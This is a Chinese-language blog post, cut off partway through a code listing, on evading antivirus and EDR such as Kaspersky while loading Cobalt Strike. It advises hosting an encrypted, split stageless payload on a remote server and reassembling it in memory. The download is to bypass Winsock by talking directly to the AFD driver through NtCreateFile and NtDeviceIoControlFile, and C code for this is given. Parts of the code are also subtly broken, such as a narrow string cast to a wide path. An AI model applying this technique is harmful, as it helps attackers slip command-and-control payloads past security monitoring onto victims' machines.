前言
从杀软的行为分析来看,就拿cs的通信协议来讲,stage 的载荷在行为上是明显比stageless载荷多很多的,其中不免一些通信协议的特征,分析过的都知道,stage只是个前置载荷,后续会下更大的功能更全的载荷,因为之前做免杀卡巴的时候就注意到了,静态全免,但是在下回来更大的载荷的时候爆毒了,后面分析,卡巴对cs的通信协议进行拦截,从云沙箱的检测来看,stage 爆毒数明显是比stageless多的。
所以我个人建议,为了彻底过静态(加载器和shellcode分离的方式),把stageless放在远程服务器,甚至可以小心机一点,把载荷分成几个小的stageless加密起来,然后在内存中重组就行,那么涉及到通信协议,我们如何吧stageless下载回本地,根据现在的主流看法,http协议和https协议是最适合的,因为更贴近正常的用户使用的协议,不过考虑到杀软和edr对windows api的监控,所以这里采用系统调用的方式来实现http通信功能。
原理和准备
Winsock是一种能使Windows程序通过任意网络传输协议发送数据的API,windows 的API 一般是由更底层的api或多个api封装而成的函数接口,我们要绕过windsock 直接与 AFD 驱动程序进行通信的话,我们就需要探查Winsock中具体哪些函数api是起到作用的,
我们发现,通过NtCreateFile和NtDeviceIoControlFile就能直接与 AFD 驱动程序进行通信。
1.首先通信需要创建一个socket,我们调用NtCreateFile来打开DeviceAfdEndpoint对象,socket属性(地址族、协议类型等)是使用数据结构体来指定的,该结构作为“扩展属性”传递给NtCreateFile 函数。
创建socket示例代码:(ipv4 TCP):
代码语言:javascript复制DWORD NTSockets_CreateTcpSocket(NTSockets_SocketDataStruct *pSocketData)
{
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent = NULL;
HANDLE hSocket = NULL;
OBJECT_ATTRIBUTES ObjectAttributes;
NTSockets_SocketDataStruct SocketData;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus = 0;
BYTE bExtendedAttributes[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
//创建状态事件
hEvent = CreateEvent(NULL, 0, 0, NULL);
if(hEvent == NULL)
{
return 1;
}
//设置 afd 端点路径
memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
ObjectFilePath.Buffer = L"\Device\Afd\Endpoint";
ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;
// 初始化对象属性
memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;
// 创建套接字句柄
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtCreateFile(&hSocket, 0xC0140000, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if(dwStatus != 0)
{
CloseHandle(hEvent);
return 1;
}
// 初始化 SocketData 对象
memset((void*)&SocketData, 0, sizeof(SocketData));
SocketData.hSocket = hSocket;
SocketData.hStatusEvent = hEvent;
// 存储套接字数据
memcpy((void*)pSocketData, (void*)&SocketData, sizeof(SocketData));
return 0;
}
2.有了socket,该使用NtDeviceIoControlFile与 AFD 驱动程序进行通信:
代码语言:javascript复制WORD NTSockets_SocketDriverMsg(NTSockets_SocketDataStruct *pSocketData, DWORD dwIoControlCode, BYTE *pData, DWORD dwLength, DWORD *pdwOutputInformation)
{
IO_STATUS_BLOCK IoStatusBlock;
DWORD dwStatus = 0;
BYTE bOutputBlock[0x10];
// 重置状态事件
ResetEvent(pSocketData->hStatusEvent);
// 发送设备控制请求
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtDeviceIoControlFile(pSocketData->hSocket, pSocketData->hStatusEvent, NULL, NULL, &IoStatusBlock, dwIoControlCode, (void*)pData, dwLength, bOutputBlock, sizeof(bOutputBlock));
if(dwStatus == STATUS_PENDING)
{
// 响应挂起 - 等待事件
if(WaitForSingleObject(pSocketData->hStatusEvent, INFINITE) != WAIT_OBJECT_0)
{
return 1;
}
// 完成 - 获取最终状态码
dwStatus = IoStatusBlock.Status;
}
// 检查错误
if(dwStatus != 0)
{
return 1;
}
if(pdwOutputInformation != NULL)
{
// 存储输出信息
*pdwOutputInformation = (DWORD)IoStatusBlock.Information;
}
return 0;
}
3.使用相应的dwIoControlCode值调用NTSockets_SocketDriverMsg来执行我们想要执行的操作 - 连接、发送、接收等,如果事件对象返回一个挂起的状态代码,则等待函数完成,完成后,我们可以使用CloseHandle(或NtClose)关闭socket。
例如关闭socket的函数代码示例:
代码语言:javascript复制DWORD NTSockets_CloseSocket(NTSockets_SocketDataStruct *pSocketData)
{
CloseHandle(pSocketData->hSocket);
CloseHandle(pSocketData->hStatusEvent);
return 0;
}
一个正常socket通信还需要以下功能
NTSockets_CreateTcpSocket - 创建 TCP 套接字(相当于socket())NTSockets_ConvertIP - 将 IP 字符串转换为二进制地址(相当于to inet_addr () )NTSockets_Swap16BitByteOrder - 将 16 位整数转换为/从网络字节顺序(相当于htons() / ntohs())NTSockets_Connect - 连接到远程主机(相当于connect())NTSockets_Send - 将数据发送到套接字(相当于发送()- 注意:在发送完所有字节后,该函数不会返回)NTSockets_Recv - 从套接字接收请求的字节数(相当于recv() - 注意:在接收到所有字节之前,该函数不会返回)NTSockets_CloseSocket - 关闭套接字(相当于closesocket() )
实际代码示例
代码语言:javascript复制#include <stdio.h>
#include <windows.h>
struct IO_STATUS_BLOCK
{
union
{
DWORD Status;
PVOID Pointer;
};
DWORD* Information;
};
struct UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
struct NTSockets_ConnectDataStruct
{
DWORD dwUnknown1;
DWORD dwUnknown2;
DWORD dwUnknown3;
sockaddr_in SockAddr;
};
struct NTSockets_BindDataStruct
{
DWORD dwUnknown1;
sockaddr_in SockAddr;
};
struct NTSockets_DataBufferStruct
{
DWORD dwDataLength;
BYTE* pData;
};
struct NTSockets_SendRecvDataStruct
{
NTSockets_DataBufferStruct* pBufferList;
DWORD dwBufferCount;
DWORD dwUnknown1;
DWORD dwUnknown2;
};
struct NTSockets_SocketDataStruct
{
HANDLE hSocket;
HANDLE hStatusEvent;
};
struct DNSClient_HeaderStruct
{
WORD wTransID;
WORD wFlags;
WORD wQuestionCount;
WORD wAnswerRecordCount;
WORD wAuthorityRecordCount;
WORD wAdditionalRecordCount;
};
struct DNSClient_RequestQueryDetailsStruct
{
WORD wType;
WORD wClass;
};
struct DNSClient_ResponseAnswerHeaderStruct
{
WORD wName;
WORD wType;
WORD wClass;
WORD wTTL[2];
WORD wLength;
};
DWORD(WINAPI* NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, IO_STATUS_BLOCK* IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, IO_STATUS_BLOCK* IoStatusBlock, LARGE_INTEGER* AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD NTSockets_CreateTcpSocket(NTSockets_SocketDataStruct* pSocketData)
{
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent = NULL;
HANDLE hSocket = NULL;
OBJECT_ATTRIBUTES ObjectAttributes;
NTSockets_SocketDataStruct SocketData;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus = 0;
BYTE bExtendedAttributes[] =
{
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
// 创建状态事件
hEvent = CreateEvent(NULL, 0, 0, NULL);
if (hEvent == NULL)
{
return 1;
}
// 设置 afd 端点路径
memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
ObjectFilePath.Buffer = (PWSTR)"\Device\Afd\Endpoint";
ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;
// 初始化对象属性
memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;
// 创建套接字句柄
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtCreateFile(&hSocket, 0xC0140000, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if (dwStatus != 0)
{
CloseHandle(hEvent);
return 1;
}
// 初始化 SocketData 对象
memset((void*)&SocketData, 0, sizeof(SocketData));
SocketData.hSocket = hSocket;
SocketData.hStatusEvent = hEvent;
// 存储套接字数据
memcpy((void*)pSocketData, (void*)&SocketData, sizeof(SocketData));
return 0;
}
DWORD NTSockets_SocketDriverMsg(NTSockets_SocketDataStruct* pSocketData, DWORD dwIoControlCode, BYTE* pData, DWORD dwLength, DWORD* pdwOutputInformation)
{
IO_STATUS_BLOCK IoStatusBlock;
DWORD dwStatus = 0;
BYTE bOutputBlock[0x10];
// 重置状态事件
ResetEvent(pSocketData->hStatusEvent);
//发送设备控制请求
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtDeviceIoControlFile(pSocketData->hSocket, pSocketData->hStatusEvent, NULL, NULL, &IoStatusBlock, dwIoControlCode, (void*)pData, dwLength, bOutputBlock, sizeof(bOutputBlock));
if (dwStatus == STATUS_PENDING)
{
// 响应挂起 - 等待事件
if (WaitForSingleObject(pSocketData->hStatusEvent, INFINITE) != WAIT_OBJECT_0)
{
return 1;
}
// 完成 - 获取最终状态码
dwStatus = IoStatusBlock.Status;
}
if (dwStatus != 0)
{
return 1;
}
if (pdwOutputInformation != NULL)
{
// 存储输出信息
*pdwOutputInformation = (DWORD)IoStatusBlock.Information;
}
return 0;
}
DWORD NTSockets_ConvertIP(char* pIP, DWORD* pdwAddr)
{
char szCurrOctet[8];
DWORD dwCurrOctetIndex = 0;
DWORD dwCompletedOctetCount = 0;
char* pCurrByte = NULL;
DWORD dwEndOfOctet = 0;
DWORD dwEndOfString = 0;
DWORD dwOctet = 0;
BYTE bOctets[4];
DWORD dwAddr = 0;
// 读取 IP 字符串
memset(szCurrOctet, 0, sizeof(szCurrOctet));
dwCurrOctetIndex = 0;
pCurrByte = pIP;
for (;;)
{
// 处理当前字符
dwEndOfOctet = 0;
if (*pCurrByte == '